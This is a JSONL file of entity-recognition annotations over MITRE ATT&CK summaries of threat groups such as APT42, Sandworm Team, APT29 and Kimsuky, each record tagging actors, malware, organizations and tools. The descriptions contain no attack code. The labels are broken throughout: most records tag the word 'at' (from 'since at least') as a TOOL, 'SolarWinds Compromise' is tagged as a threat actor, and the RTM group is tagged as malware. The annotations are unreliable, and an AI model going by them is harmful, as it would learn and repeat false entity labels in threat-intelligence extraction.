{"text": "APT42 is an Iranian-sponsored threat group that conducts cyber espionage and surveillance. The group primarily focuses on targets in the Middle East region, but has targeted a variety of industries and countries since at least 2015. APT42 starts cyber operations through spearphishing emails and/or the PINEFLOWER Android malware, then monitors and collects information from the compromised systems and devices. Finally, APT42 exfiltrates data using native features and open-source tools. \n\nAPT42 activities have been linked to Magic Hound by other commercial vendors. While there are behavior and software overlaps between Magic Hound and APT42, they appear to be distinct entities and are tracked as separate entities by their originating vendor.", "spans": {"THREAT_ACTOR: APT42": [[0, 5], [233, 238], [421, 426], [491, 496], [640, 645]], "TOOL: at": [[218, 220]], "SYSTEM: Android": [[314, 321]], "THREAT_ACTOR: Magic Hound": [[528, 539], [624, 635]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1044"}}
{"text": "Malteiro is a financially motivated criminal group that is likely based in Brazil and has been active since at least November 2019. The group operates and distributes the Mispadu  banking trojan via a Malware-as-a-Service (MaaS) business model. Malteiro mainly targets victims throughout Latin America (particularly Mexico) and Europe (particularly Spain and Portugal).", "spans": {"THREAT_ACTOR: Malteiro": [[0, 8], [245, 253]], "TOOL: at": [[108, 110]], "MALWARE: Mispadu": [[171, 178]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1026"}}
{"text": "Earth Lusca is a suspected China-based cyber espionage group that has been active since at least April 2019. Earth Lusca has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some Earth Lusca operations may be financially motivated.\n\nEarth Lusca has used malware commonly used by other Chinese threat groups, including APT41 and the Winnti Group cluster, however security researchers assess Earth Lusca's techniques and infrastructure are separate.", "spans": {"THREAT_ACTOR: Earth Lusca": [[0, 11], [109, 120], [595, 606], [649, 660], [806, 817]], "TOOL: at": [[88, 90]], "THREAT_ACTOR: APT41": [[734, 739]], "THREAT_ACTOR: Winnti Group": [[748, 760]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1006"}}
{"text": "Play is a ransomware group that has been active since at least 2022 deploying  Playcrypt ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. Play actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.", "spans": {"THREAT_ACTOR: Play": [[0, 4], [234, 238]], "TOOL: at": [[54, 56]], "MALWARE: Playcrypt": [[79, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1040"}}
{"text": "Sandworm Team is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455. This group has been active since at least 2009.\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with Sandworm Team for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide NotPetya attack, targeting of the 2017 French presidential campaign, the 2018 Olympic Destroyer attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019. Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as APT28.", "spans": {"THREAT_ACTOR: Sandworm Team": [[0, 13], [323, 336]], "ORGANIZATION: GRU": [[126, 129], [283, 286], [822, 825]], "ORGANIZATION: GTsST": [[169, 174]], "TOOL: at": [[230, 232]], "MALWARE: NotPetya": [[487, 495]], "MALWARE: Olympic Destroyer": [[565, 582]], "THREAT_ACTOR: APT28": [[867, 872]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0034"}}
{"text": "TA577 is an initial access broker (IAB) that has distributed QakBot and Pikabot, and was among the first observed groups distributing Latrodectus in 2023.", "spans": {"THREAT_ACTOR: TA577": [[0, 5]], "MALWARE: QakBot": [[61, 67]], "MALWARE: Pikabot": [[72, 79]], "MALWARE: Latrodectus": [[134, 145]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1037"}}
{"text": "Turla is a cyber espionage threat group that has been attributed to Russia's Federal Security Service (FSB).  They have compromised victims in over 50 countries since at least 2004, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. Turla is known for conducting watering hole and spearphishing campaigns, and leveraging in-house tools and malware, such as Uroburos.", "spans": {"THREAT_ACTOR: Turla": [[0, 5], [306, 311]], "ORGANIZATION: FSB": [[103, 106]], "TOOL: at": [[167, 169]], "MALWARE: Uroburos": [[430, 438]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0010"}}
{"text": "Suckfly is a China-based threat group that has been active since at least 2014.", "spans": {"THREAT_ACTOR: Suckfly": [[0, 7]], "TOOL: at": [[65, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0039"}}
{"text": "Ember Bear is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155). Ember Bear has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas. Ember Bear conducted the WhisperGate destructive wiper attacks against Ukraine in early 2022. There is some confusion as to whether Ember Bear overlaps with another Russian-linked entity referred to as Saint Bear. At present available evidence strongly suggests these are distinct activities with different behavioral profiles.", "spans": {"THREAT_ACTOR: Ember Bear": [[0, 10], [220, 230], [416, 426], [548, 558]], "TOOL: at": [[89, 91]], "ORGANIZATION: GRU": [[168, 171]], "MALWARE: WhisperGate": [[441, 452]], "THREAT_ACTOR: Saint Bear": [[618, 628]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1003"}}
{"text": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.", "spans": {"THREAT_ACTOR: FIN6": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0037"}}
{"text": "Silence is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.", "spans": {"THREAT_ACTOR: Silence": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0091"}}
{"text": "Patchwork is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Patchwork has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. Patchwork was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.", "spans": {"THREAT_ACTOR: Patchwork": [[0, 9], [214, 223], [384, 393]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0040"}}
{"text": "APT28 is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165. This group has been active since at least 2004.\n\nAPT28 reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. In 2018, the US indicted five GRU Unit 26165 officers associated with APT28 for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations. Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as Sandworm Team.", "spans": {"THREAT_ACTOR: APT28": [[0, 5], [222, 227], [510, 515]], "ORGANIZATION: GRU": [[106, 109], [470, 473], [880, 883]], "TOOL: at": [[206, 208]], "THREAT_ACTOR: Sandworm Team": [[925, 938]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0007"}}
{"text": "Aoqin Dragon is a suspected Chinese cyber espionage threat group that has been active since at least 2013. Aoqin Dragon has primarily targeted government, education, and telecommunication organizations in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. Security researchers noted a potential association between Aoqin Dragon and UNC94, based on malware, infrastructure, and targets.", "spans": {"THREAT_ACTOR: Aoqin Dragon": [[0, 12], [107, 119], [320, 332]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1007"}}
{"text": "Cinnamon Tempest is a China-based threat group that has been active since at least 2021 deploying multiple strains of ransomware based on the leaked Babuk source code. Cinnamon Tempest does not operate their ransomware on an affiliate model or purchase access but appears to act independently in all stages of the attack lifecycle. Based on victimology, the short lifespan of each ransomware variant, and use of malware attributed to government-sponsored threat groups, Cinnamon Tempest may be motivated by intellectual property theft or cyberespionage rather than financial gain.", "spans": {"THREAT_ACTOR: Cinnamon Tempest": [[0, 16], [168, 184], [470, 486]], "TOOL: at": [[74, 76]], "MALWARE: Babuk": [[149, 154]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1021"}}
{"text": "HEXANE is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. HEXANE's TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.", "spans": {"THREAT_ACTOR: HEXANE": [[0, 6], [295, 301]], "TOOL: at": [[150, 152]], "THREAT_ACTOR: APT33": [[327, 332]], "THREAT_ACTOR: OilRig": [[337, 343]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1001"}}
{"text": "Darkhotel is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. Darkhotel has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.", "spans": {"THREAT_ACTOR: Darkhotel": [[0, 9], [269, 278]], "TOOL: at": [[106, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0012"}}
{"text": "Ke3chang is a threat group attributed to actors operating out of China. Ke3chang has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.", "spans": {"THREAT_ACTOR: Ke3chang": [[0, 8], [72, 80]], "TOOL: at": [[219, 221]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0004"}}
{"text": "Volt Typhoon is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. Volt Typhoon's targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. Volt Typhoon has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.", "spans": {"THREAT_ACTOR: Volt Typhoon": [[0, 12], [218, 230], [419, 431]], "TOOL: at": [[100, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1017"}}
{"text": "Leafminer is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017.", "spans": {"THREAT_ACTOR: Leafminer": [[0, 9]], "TOOL: at": [[127, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0077"}}
{"text": "Magic Hound is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.", "spans": {"THREAT_ACTOR: Magic Hound": [[0, 11]], "TOOL: at": [[403, 405]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0059"}}
{"text": "APT29 is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR). They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. APT29 reportedly compromised the Democratic National Committee starting in the summer of 2015.\n\nIn April 2021, the US and UK governments attributed the SolarWinds Compromise to the SVR; public statements included citations to APT29, Cozy Bear, and The Dukes. Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.", "spans": {"THREAT_ACTOR: APT29": [[0, 5], [246, 251], [472, 477]], "TOOL: at": [[120, 122]], "ORGANIZATION: NATO": [[185, 189]], "THREAT_ACTOR: SolarWinds Compromise": [[398, 419]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0016"}}
{"text": "EXOTIC LILY is a financially motivated group that has been closely linked with Wizard Spider and the deployment of ransomware including Conti and Diavol. EXOTIC LILY may be acting as an initial access broker for other malicious actors, and has targeted a wide range of industries including IT, cybersecurity, and healthcare since at least September 2021.", "spans": {"THREAT_ACTOR: EXOTIC LILY": [[0, 11], [154, 165]], "THREAT_ACTOR: Wizard Spider": [[79, 92]], "MALWARE: Conti": [[136, 141]], "MALWARE: Diavol": [[146, 152]], "TOOL: at": [[330, 332]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1011"}}
{"text": "Cobalt Group is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. Cobalt Group has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. Reporting indicates there may be links between Cobalt Group and both the malware Carbanak and the group Carbanak.", "spans": {"THREAT_ACTOR: Cobalt Group": [[0, 12], [254, 266], [616, 628]], "TOOL: at": [[110, 112]], "MALWARE: Carbanak": [[650, 658], [673, 681]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0080"}}
{"text": "Andariel is a North Korean state-sponsored threat group that has been active since at least 2009. Andariel has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. Andariel's notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.\n\nAndariel is considered a sub-set of Lazarus Group, and has been attributed to North Korea's Reconnaissance General Bureau.\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.", "spans": {"THREAT_ACTOR: Andariel": [[0, 8], [98, 106], [392, 400], [493, 501]], "TOOL: at": [[83, 85]], "THREAT_ACTOR: Lazarus Group": [[529, 542], [787, 800]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0138"}}
{"text": "HAFNIUM is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. HAFNIUM primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. HAFNIUM has targeted remote management tools and cloud software for intial access and has demonstrated an ability to quickly operationalize exploits for identified vulnerabilities in edge devices.", "spans": {"THREAT_ACTOR: HAFNIUM": [[0, 7], [131, 138], [348, 355]], "TOOL: at": [[108, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0125"}}
{"text": "APT39 is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. APT39 has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.", "spans": {"THREAT_ACTOR: APT39": [[0, 5], [204, 209]], "TOOL: at": [[189, 191]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0087"}}
{"text": "MuddyWater is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS). Since at least 2017, MuddyWater has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.", "spans": {"THREAT_ACTOR: MuddyWater": [[0, 10], [156, 166]], "TOOL: at": [[141, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0069"}}
{"text": "APT38 is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau. Active since at least 2014, APT38 has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which APT38 stole $81 million, as well as attacks against Bancomext  and Banco de Chile ; some of their attacks have been destructive.\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.", "spans": {"THREAT_ACTOR: APT38": [[0, 5], [190, 195], [423, 428]], "TOOL: at": [[175, 177], [311, 313]], "THREAT_ACTOR: Lazarus Group": [[723, 736]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0082"}}
{"text": "Transparent Tribe is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.", "spans": {"THREAT_ACTOR: Transparent Tribe": [[0, 17]], "TOOL: at": [[88, 90]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0134"}}
{"text": "APT32 is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.", "spans": {"THREAT_ACTOR: APT32": [[0, 5]], "TOOL: at": [[75, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0050"}}
{"text": "BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.", "spans": {"THREAT_ACTOR: BRONZE BUTLER": [[0, 13]], "TOOL: at": [[96, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0060"}}
{"text": "POLONIUM is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess POLONIUM has coordinated their operations with multiple actors affiliated with Iran’s Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.", "spans": {"THREAT_ACTOR: POLONIUM": [[0, 8], [233, 241]], "TOOL: at": [[181, 183]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1005"}}
{"text": "APT5 is a China-based espionage actor that has been active since at least 2007 primarily targeting the telecommunications, aerospace, and defense industries throughout the U.S., Europe, and Asia. APT5 has displayed advanced tradecraft and significant interest in compromising networking devices and their underlying software including through the use of zero-day exploits.", "spans": {"THREAT_ACTOR: APT5": [[0, 4], [196, 200]], "TOOL: at": [[65, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1023"}}
{"text": "BackdoorDiplomacy is a cyber espionage threat group that has been active since at least 2017. BackdoorDiplomacy has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.", "spans": {"THREAT_ACTOR: BackdoorDiplomacy": [[0, 17], [94, 111]], "TOOL: at": [[79, 81]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0135"}}
{"text": "Kimsuky is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. Kimsuky has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing. Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader Lazarus Group umbrella rather than tracking separate subgroup or cluster distinctions.\n\nKimsuky was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).\n\nIn 2023, Kimsuky was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.", "spans": {"THREAT_ACTOR: Kimsuky": [[0, 7], [417, 424], [899, 906], [1134, 1141]], "TOOL: at": [[80, 82]], "ORGANIZATION: United Nations": [[256, 270]], "THREAT_ACTOR: Lazarus Group": [[811, 824]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0094"}}
{"text": "Leviathan is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company. Active since at least 2009, Leviathan has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Australia, Europe, the Middle East, and Southeast Asia.", "spans": {"THREAT_ACTOR: Leviathan": [[0, 9], [222, 231]], "ORGANIZATION: MSS": [[123, 126]], "TOOL: at": [[207, 209]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0065"}}
{"text": "Storm-1811 is a financially-motivated entity linked to Black Basta ransomware deployment. Storm-1811 is notable for unique phishing and social engineering mechanisms for initial access, such as overloading victim email inboxes with non-malicious spam to prompt a fake \"help desk\" interaction leading to the deployment of adversary tools and capabilities.", "spans": {"THREAT_ACTOR: Storm-1811": [[0, 10], [90, 100]], "MALWARE: Black Basta": [[55, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1046"}}
{"text": "Ajax Security Team is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 Ajax Security Team transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.", "spans": {"THREAT_ACTOR: Ajax Security Team": [[0, 18], [121, 139]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0130"}}
{"text": "Akira is a ransomware variant and ransomware deployment entity active since at least March 2023. Akira uses compromised credentials to access single-factor external access mechanisms such as VPNs for initial access, then various publicly-available tools and techniques for lateral movement. Akira operations are associated with \"double extortion\" ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Technical analysis of Akira ransomware indicates variants capable of targeting Windows or VMWare ESXi hypervisors and multiple overlaps with Conti ransomware.", "spans": {"MALWARE: Akira": [[0, 5], [97, 102], [291, 296], [517, 522]], "TOOL: at": [[76, 78]], "SYSTEM: Windows": [[574, 581]], "MALWARE: Conti": [[636, 641]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1024"}}
{"text": "Mustang Panda is a China-based cyber espionage threat actor that has been conducting operations since at least 2012. Mustang Panda has been known to use tailored phishing lures and decoy documents to deliver malicious payloads.  Mustang Panda has targeted government, diplomatic, and non-governmental organizations, including think tanks, religious institutions, and research entities, across the United States, Europe, and Asia, with notable activity in Russia, Mongolia, Myanmar, Pakistan, and Vietnam.", "spans": {"THREAT_ACTOR: Mustang Panda": [[0, 13], [117, 130], [229, 242]], "TOOL: at": [[102, 104]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0129"}}
{"text": "LAPSUS$ is cyber criminal threat group that has been active since at least mid-2021. LAPSUS$ specializes in large-scale social engineering and extortion operations, including destructive attacks without the use of ransomware. The group has targeted organizations globally, including in the government, manufacturing, higher education, energy, healthcare, technology, telecommunications, and media sectors.", "spans": {"THREAT_ACTOR: LAPSUS$": [[0, 7], [85, 92]], "TOOL: at": [[66, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1004"}}
{"text": "Chimera is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.", "spans": {"THREAT_ACTOR: Chimera": [[0, 7]], "TOOL: at": [[75, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0114"}}
{"text": "TA2541 is a cybercriminal group that has been targeting the aviation, aerospace, transportation, manufacturing, and defense industries since at least 2017. TA2541 campaigns are typically high volume and involve the use of commodity remote access tools obfuscated by crypters and themes related to aviation, transportation, and travel.", "spans": {"THREAT_ACTOR: TA2541": [[0, 6], [156, 162]], "TOOL: at": [[141, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1018"}}
{"text": "ToddyCat is a sophisticated threat group that has been active since at least 2020 using custom loaders and malware in multi-stage infection chains against government and military targets across Europe and Asia.", "spans": {"THREAT_ACTOR: ToddyCat": [[0, 8]], "TOOL: at": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1022"}}
{"text": "BITTER is a suspected South Asian cyber espionage threat group that has been active since at least 2013. BITTER has targeted government, energy, and engineering organizations in Pakistan, China, Bangladesh, and Saudi Arabia.", "spans": {"THREAT_ACTOR: BITTER": [[0, 6], [105, 111]], "TOOL: at": [[90, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1002"}}
{"text": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).", "spans": {"MALWARE: RTM": [[0, 3], [212, 215]], "TOOL: at": [[56, 58]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0048"}}
{"text": "menuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.\n\nmenuPass has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.", "spans": {"THREAT_ACTOR: menuPass": [[0, 8], [91, 99], [300, 308]], "TOOL: at": [[54, 56]], "ORGANIZATION: MSS": [[186, 189]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0045"}}
{"text": "Storm-0501 is a financially motivated cyber criminal group that uses commodity and open-source tools to conduct ransomware operations. Storm-0501 has been active since 2021 and has previously been affiliated with Sabbath Ransomware and other Ransomware-as-a-Service (RaaS) variants such as Hive, BlackCat, Hunters International, LockBit 3.0, and Embargo ransomware.", "spans": {"THREAT_ACTOR: Storm-0501": [[0, 10], [135, 145]], "MALWARE: BlackCat": [[296, 304]], "MALWARE: LockBit 3.0": [[329, 340]], "MALWARE: Embargo": [[346, 353]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1053"}}
{"text": "Tropic Trooper is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. Tropic Trooper focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.", "spans": {"THREAT_ACTOR: Tropic Trooper": [[0, 14], [138, 152]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0081"}}
{"text": "Mustard Tempest is an initial access broker that has operated the SocGholish distribution network since at least 2017. Mustard Tempest has partnered with Indrik Spider to provide access for the download of additional malware including LockBit, WastedLocker, and remote access tools.", "spans": {"THREAT_ACTOR: Mustard Tempest": [[0, 15], [119, 134]], "MALWARE: SocGholish": [[66, 76]], "TOOL: at": [[104, 106]], "THREAT_ACTOR: Indrik Spider": [[154, 167]], "MALWARE: WastedLocker": [[244, 256]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1020"}}
{"text": "APT19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms.  Some analysts track APT19 and Deep Panda as the same group, but it is unclear from open source information if the groups are the same.", "spans": {"THREAT_ACTOR: APT19": [[0, 5], [311, 316]], "THREAT_ACTOR: Deep Panda": [[321, 331]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0073"}}
{"text": "Moses Staff is a suspected Iranian threat group that has primarily targeted Israeli companies since at least September 2021. Moses Staff openly stated their motivation in attacking Israeli companies is to cause damage by leaking stolen sensitive data and encrypting the victim's networks without a ransom demand. \n\nSecurity researchers assess Moses Staff is politically motivated, and has targeted government, finance, travel, energy, manufacturing, and utility companies outside of Israel as well, including those in Italy, India, Germany, Chile, Turkey, the UAE, and the US.", "spans": {"THREAT_ACTOR: Moses Staff": [[0, 11], [125, 136], [343, 354]], "TOOL: at": [[100, 102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1009"}}
{"text": "Molerats is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.", "spans": {"THREAT_ACTOR: Molerats": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0021"}}
{"text": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.", "spans": {"THREAT_ACTOR: Stealth Falcon": [[0, 14]], "TOOL: at": [[138, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0038"}}
{"text": "DarkVishnya is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.", "spans": {"THREAT_ACTOR: DarkVishnya": [[0, 11]], "TOOL: at": [[136, 138]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0105"}}
{"text": "APT37 is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. APT37 has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.", "spans": {"THREAT_ACTOR: APT37": [[0, 5], [271, 276]], "TOOL: at": [[89, 91]], "THREAT_ACTOR: Lazarus Group": [[658, 671]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0067"}}
